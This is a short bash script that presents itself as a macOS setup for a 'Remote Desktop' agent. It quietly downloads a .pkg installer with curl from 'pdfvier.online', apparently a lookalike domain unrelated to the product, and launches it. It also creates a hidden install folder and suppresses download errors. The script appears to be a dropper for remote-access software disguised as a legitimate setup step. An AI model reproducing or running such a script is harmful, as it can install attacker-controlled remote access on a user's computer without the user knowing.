#!/bin/bash
set -e
echo "=================================================================="
echo "    Remote Desktop — macOS Native Host Setup"
echo "=================================================================="
HUB_URL="https://pdfvier.online"
INSTALL_DIR="$HOME/.remote-desktop"
mkdir -p "$INSTALL_DIR"
cd "$INSTALL_DIR"

if curl -sSL -f "https://pdfvier.online/static/downloads/RemoteDesktopAgent.pkg" -o /tmp/RemoteDesktopAgent.pkg 2>/dev/null; then
    echo "[+] Downloaded RemoteDesktopAgent.pkg installer. Launching installer..."
    open /tmp/RemoteDesktopAgent.pkg
    exit 0
fi

echo "[!] Please run the native installer package from the Hub web portal."
